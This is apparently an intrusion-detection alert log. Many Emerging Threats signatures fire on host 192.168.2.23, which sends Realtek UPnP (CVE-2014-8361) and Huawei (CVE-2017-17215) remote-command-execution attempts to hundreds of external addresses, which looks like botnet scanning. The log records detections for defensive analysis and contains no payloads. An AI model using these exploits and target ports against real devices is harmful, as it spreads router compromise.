07/20/24-23:01:42.650744	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53702	52869	192.168.2.23	143.254.203.194
07/20/24-23:01:07.004907	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46144	37215	192.168.2.23	57.18.83.1
07/20/24-23:01:41.276434	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46648	52869	192.168.2.23	172.43.240.212
07/20/24-23:01:41.347676	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52512	52869	192.168.2.23	153.109.210.254
07/20/24-23:01:02.070492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47304	37215	192.168.2.23	111.12.203.144
07/20/24-23:01:08.626717	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34632	52869	192.168.2.23	124.254.84.115
07/20/24-23:01:45.261796	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49158	52869	192.168.2.23	102.31.132.7
07/20/24-23:01:42.115230	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60698	52869	192.168.2.23	137.127.2.156
07/20/24-23:01:45.270636	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41154	52869	192.168.2.23	126.252.220.138
07/20/24-23:01:47.253863	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49652	52869	192.168.2.23	130.112.45.111
07/20/24-23:01:12.861753	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43498	52869	192.168.2.23	144.152.137.9
07/20/24-23:01:45.119426	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52300	52869	192.168.2.23	61.251.112.155
07/20/24-23:01:44.940207	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41092	52869	192.168.2.23	139.85.109.63
07/20/24-23:01:45.202570	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53546	52869	192.168.2.23	88.161.89.160
07/20/24-23:01:51.925038	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36862	52869	192.168.2.23	191.56.81.141
07/20/24-23:02:11.592030	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56472	52869	192.168.2.23	139.220.216.2
07/20/24-23:01:02.773260	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38564	52869	192.168.2.23	205.29.56.156
07/20/24-23:01:44.713195	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55648	52869	192.168.2.23	136.252.196.177
07/20/24-23:01:11.662969	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51076	37215	192.168.2.23	41.217.4.188
07/20/24-23:01:24.876750	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40666	37215	192.168.2.23	206.180.101.209
07/20/24-23:01:00.636534	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60674	37215	192.168.2.23	157.114.148.67
07/20/24-23:01:54.310738	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51218	52869	192.168.2.23	65.202.231.124
07/20/24-23:01:08.668802	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60212	52869	192.168.2.23	128.89.159.185
07/20/24-23:01:32.034562	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34840	37215	192.168.2.23	41.111.248.140
07/20/24-23:01:44.926055	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36816	52869	192.168.2.23	140.59.54.38
07/20/24-23:01:04.049279	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45534	37215	192.168.2.23	157.67.8.157
07/20/24-23:01:58.460651	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39324	52869	192.168.2.23	217.154.142.187
07/20/24-23:01:08.574948	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46830	52869	192.168.2.23	4.131.130.12
07/20/24-23:01:42.151857	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54136	52869	192.168.2.23	192.12.75.155
07/20/24-23:01:00.639093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44420	37215	192.168.2.23	157.90.253.17
07/20/24-23:01:03.231165	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38630	52869	192.168.2.23	216.151.5.50
07/20/24-23:01:49.035612	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59540	52869	192.168.2.23	72.136.42.217
07/20/24-23:01:42.677933	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49330	52869	192.168.2.23	40.200.215.102
07/20/24-23:01:20.161614	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38518	37215	192.168.2.23	41.71.153.133
07/20/24-23:01:14.207040	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38408	37215	192.168.2.23	197.146.3.86
07/20/24-23:01:20.157619	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59652	37215	192.168.2.23	157.143.93.40
07/20/24-23:02:00.868779	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43666	52869	192.168.2.23	158.218.4.185
07/20/24-23:03:53.978924	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37004	52869	192.168.2.23	24.105.77.87
07/20/24-23:01:32.032492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51940	37215	192.168.2.23	197.101.2.117
07/20/24-23:01:42.762943	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45962	52869	192.168.2.23	145.71.96.96
07/20/24-23:01:43.555540	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52378	52869	192.168.2.23	153.197.27.100
07/20/24-23:01:24.934977	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45554	37215	192.168.2.23	197.42.208.165
07/20/24-23:01:51.197215	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52494	52869	192.168.2.23	120.23.234.48
07/20/24-23:01:07.082045	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55584	37215	192.168.2.23	197.60.240.126
07/20/24-23:01:49.921076	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44200	52869	192.168.2.23	75.3.82.5
07/20/24-23:01:42.486106	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56122	52869	192.168.2.23	149.227.25.96
07/20/24-23:01:46.663212	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48812	52869	192.168.2.23	162.122.16.215
07/20/24-23:01:45.261796	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47412	52869	192.168.2.23	162.239.164.172
07/20/24-23:01:27.650643	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55442	37215	192.168.2.23	157.62.33.47
07/20/24-23:01:02.054387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43712	37215	192.168.2.23	176.251.98.66
07/20/24-23:01:08.563416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38528	52869	192.168.2.23	160.189.204.148
07/20/24-23:01:44.311969	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33776	52869	192.168.2.23	192.101.61.62
07/20/24-23:01:46.423677	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35350	52869	192.168.2.23	37.189.26.199
07/20/24-23:01:46.384516	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54890	52869	192.168.2.23	14.96.36.55
07/20/24-23:01:40.296076	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58716	37215	192.168.2.23	157.129.21.167
07/20/24-23:01:27.664887	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47230	37215	192.168.2.23	197.157.81.10
07/20/24-23:01:32.034562	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60676	37215	192.168.2.23	74.90.46.163
07/20/24-23:01:42.535137	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56094	52869	192.168.2.23	171.216.201.201
07/20/24-23:01:04.627153	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37094	52869	192.168.2.23	185.31.200.232
07/20/24-23:01:08.560530	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59256	52869	192.168.2.23	42.114.143.158
07/20/24-23:01:13.314226	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40464	52869	192.168.2.23	221.64.55.120
07/20/24-23:01:02.721182	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60912	52869	192.168.2.23	114.190.123.93
07/20/24-23:02:04.052371	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40874	52869	192.168.2.23	13.96.238.187
07/20/24-23:01:20.596563	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52728	52869	192.168.2.23	20.24.147.17
07/20/24-23:01:42.704266	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49340	52869	192.168.2.23	113.71.166.108
07/20/24-23:01:44.020551	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45532	52869	192.168.2.23	58.172.86.110
07/20/24-23:01:50.903844	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40620	52869	192.168.2.23	42.169.174.111
07/20/24-23:01:06.996056	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59354	37215	192.168.2.23	61.122.127.136
07/20/24-23:01:43.845332	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50558	52869	192.168.2.23	109.104.48.215
07/20/24-23:01:27.739158	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52978	37215	192.168.2.23	157.195.217.147
07/20/24-23:01:42.908066	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46248	52869	192.168.2.23	147.72.210.150
07/20/24-23:01:44.968238	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50916	52869	192.168.2.23	145.77.223.88
07/20/24-23:01:42.612377	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38532	52869	192.168.2.23	85.109.146.148
07/20/24-23:01:27.677519	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40302	37215	192.168.2.23	92.112.157.125
07/20/24-23:01:04.050503	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52282	37215	192.168.2.23	41.149.9.235
07/20/24-23:01:41.750477	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37158	52869	192.168.2.23	113.184.252.189
07/20/24-23:02:05.544188	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42936	52869	192.168.2.23	206.59.132.204
07/20/24-23:01:08.590938	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39990	52869	192.168.2.23	150.171.160.226
07/20/24-23:01:04.014688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58962	37215	192.168.2.23	197.34.158.231
07/20/24-23:01:04.999060	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46928	52869	192.168.2.23	58.116.31.11
07/20/24-23:01:06.973541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33252	37215	192.168.2.23	118.232.12.90
07/20/24-23:01:41.218109	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35668	52869	192.168.2.23	176.90.235.184
07/20/24-23:01:20.113254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40340	37215	192.168.2.23	41.147.128.195
07/20/24-23:01:41.987411	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32886	52869	192.168.2.23	18.151.187.19
07/20/24-23:01:46.004063	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40778	52869	192.168.2.23	104.155.48.50
07/20/24-23:01:02.079114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45680	37215	192.168.2.23	111.15.64.29
07/20/24-23:01:04.085431	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37978	37215	192.168.2.23	197.179.7.146
07/20/24-23:01:20.161614	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33112	37215	192.168.2.23	13.178.123.242
07/20/24-23:01:54.375005	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54766	52869	192.168.2.23	157.156.14.69
07/20/24-23:01:20.124696	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42616	37215	192.168.2.23	197.124.243.228
07/20/24-23:02:42.973189	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41250	52869	192.168.2.23	90.6.68.219
07/20/24-23:01:55.262010	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40522	52869	192.168.2.23	105.145.121.113
07/20/24-23:01:24.929013	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36096	37215	192.168.2.23	17.145.238.56
07/20/24-23:01:04.605795	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35024	52869	192.168.2.23	155.161.137.123
07/20/24-23:01:13.596807	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36092	52869	192.168.2.23	32.75.241.221
07/20/24-23:01:20.124696	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40416	37215	192.168.2.23	41.50.141.98
07/20/24-23:01:31.975107	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53832	37215	192.168.2.23	197.180.219.211
07/20/24-23:01:27.649885	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54310	37215	192.168.2.23	41.51.57.163
07/20/24-23:01:43.164529	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35910	52869	192.168.2.23	85.91.68.35
07/20/24-23:01:45.074222	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45436	52869	192.168.2.23	24.42.93.65
07/20/24-23:02:20.472956	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56140	52869	192.168.2.23	14.149.133.62
07/20/24-23:01:08.565610	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52460	52869	192.168.2.23	106.250.20.58
07/20/24-23:02:06.738802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42618	52869	192.168.2.23	32.132.194.251
07/20/24-23:01:32.073087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42264	37215	192.168.2.23	197.100.156.74
07/20/24-23:00:57.221141	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52906	37215	192.168.2.23	157.119.223.145
07/20/24-23:01:34.046616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32822	37215	192.168.2.23	41.197.119.215
07/20/24-23:01:01.758577	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57210	52869	192.168.2.23	135.9.168.169
07/20/24-23:02:00.328412	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40100	52869	192.168.2.23	164.237.7.212
07/20/24-23:01:07.066373	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41962	37215	192.168.2.23	157.115.234.122
07/20/24-23:01:31.976984	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57906	37215	192.168.2.23	41.239.105.156
07/20/24-23:00:59.196993	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40010	37215	192.168.2.23	170.47.187.157
07/20/24-23:01:53.357099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56596	52869	192.168.2.23	161.100.49.199
07/20/24-23:01:40.307219	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46016	37215	192.168.2.23	193.159.96.215
07/20/24-23:01:44.484128	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38784	52869	192.168.2.23	39.212.80.61
07/20/24-23:01:42.619336	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34018	52869	192.168.2.23	42.202.134.116
07/20/24-23:01:34.045144	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60586	37215	192.168.2.23	197.218.45.39
07/20/24-23:01:01.510385	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44282	52869	192.168.2.23	36.193.87.124
07/20/24-23:01:01.752804	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39800	52869	192.168.2.23	172.95.79.32
07/20/24-23:01:42.809715	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57964	52869	192.168.2.23	218.79.146.2
07/20/24-23:01:08.556804	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34306	52869	192.168.2.23	205.32.150.55
07/20/24-23:01:02.048214	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50834	52869	192.168.2.23	194.63.61.192
07/20/24-23:01:21.909111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57128	37215	192.168.2.23	41.119.255.118
07/20/24-23:01:01.516827	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57370	52869	192.168.2.23	70.59.242.166
07/20/24-23:01:57.690792	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48132	52869	192.168.2.23	119.129.124.77
07/20/24-23:01:44.756265	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59170	52869	192.168.2.23	156.254.5.127
07/20/24-23:01:49.011895	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52832	52869	192.168.2.23	144.14.202.149
07/20/24-23:01:41.380677	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46780	52869	192.168.2.23	191.177.238.243
07/20/24-23:01:07.082045	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56538	37215	192.168.2.23	157.54.52.255
07/20/24-23:01:45.648154	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49290	52869	192.168.2.23	179.206.84.130
07/20/24-23:01:59.704241	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52420	52869	192.168.2.23	162.200.88.148
07/20/24-23:01:55.903209	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48072	52869	192.168.2.23	175.53.167.172
07/20/24-23:01:43.185498	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59604	52869	192.168.2.23	48.248.156.6
07/20/24-23:01:25.522869	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39106	52869	192.168.2.23	105.131.75.237
07/20/24-23:01:43.020186	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48454	52869	192.168.2.23	71.205.8.144
07/20/24-23:01:56.809584	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48800	52869	192.168.2.23	1.7.30.66
07/20/24-23:01:42.790558	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33926	52869	192.168.2.23	94.18.60.159
07/20/24-23:01:42.616435	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50026	52869	192.168.2.23	19.135.72.216
07/20/24-23:01:45.947642	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56402	52869	192.168.2.23	185.117.12.122
07/20/24-23:01:41.686830	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45028	52869	192.168.2.23	34.239.73.219
07/20/24-23:01:41.193880	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53462	52869	192.168.2.23	151.105.247.52
07/20/24-23:01:02.462458	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56652	52869	192.168.2.23	219.105.54.148
07/20/24-23:01:34.053062	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44258	37215	192.168.2.23	197.91.197.8
07/20/24-23:01:44.783923	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32792	52869	192.168.2.23	155.22.111.5
07/20/24-23:01:55.166507	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46270	52869	192.168.2.23	75.33.175.78
07/20/24-23:01:03.819275	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60586	52869	192.168.2.23	13.188.89.36
07/20/24-23:01:44.631925	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42362	52869	192.168.2.23	32.163.145.253
07/20/24-23:01:55.536863	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49478	52869	192.168.2.23	96.112.20.112
07/20/24-23:01:45.574617	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39656	52869	192.168.2.23	152.70.166.60
07/20/24-23:01:31.320338	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40076	52869	192.168.2.23	105.131.75.237
07/20/24-23:01:42.519318	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51790	52869	192.168.2.23	8.226.239.105
07/20/24-23:01:42.357440	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53138	52869	192.168.2.23	207.162.61.245
07/20/24-23:01:11.635828	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60566	37215	192.168.2.23	41.44.82.133
07/20/24-23:01:31.330511	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44976	52869	192.168.2.23	142.4.77.39
07/20/24-23:01:27.650975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46192	37215	192.168.2.23	41.158.206.208
07/20/24-23:01:07.018425	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40100	37215	192.168.2.23	197.65.5.53
07/20/24-23:02:01.201976	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58424	52869	192.168.2.23	129.210.122.194
07/20/24-23:01:59.593868	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42564	52869	192.168.2.23	118.42.225.58
07/20/24-23:01:46.725077	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40848	52869	192.168.2.23	200.222.88.102
07/20/24-23:00:59.148145	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53440	37215	192.168.2.23	157.5.83.65
07/20/24-23:01:00.639093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46116	37215	192.168.2.23	157.170.103.64
07/20/24-23:01:42.486622	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43704	52869	192.168.2.23	47.30.224.199
07/20/24-23:01:43.047922	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35292	52869	192.168.2.23	219.196.66.69
07/20/24-23:01:42.422050	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60960	52869	192.168.2.23	162.207.42.25
07/20/24-23:01:59.799089	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53122	52869	192.168.2.23	105.66.231.198
07/20/24-23:01:24.876750	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60380	37215	192.168.2.23	197.235.121.63
07/20/24-23:01:04.950811	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33400	52869	192.168.2.23	111.160.194.136
07/20/24-23:01:42.758954	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60556	52869	192.168.2.23	187.33.239.16
07/20/24-23:01:53.494330	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51492	52869	192.168.2.23	69.58.59.239
07/20/24-23:01:02.726681	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54012	52869	192.168.2.23	218.185.172.90
07/20/24-23:01:08.684499	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34566	52869	192.168.2.23	123.31.253.14
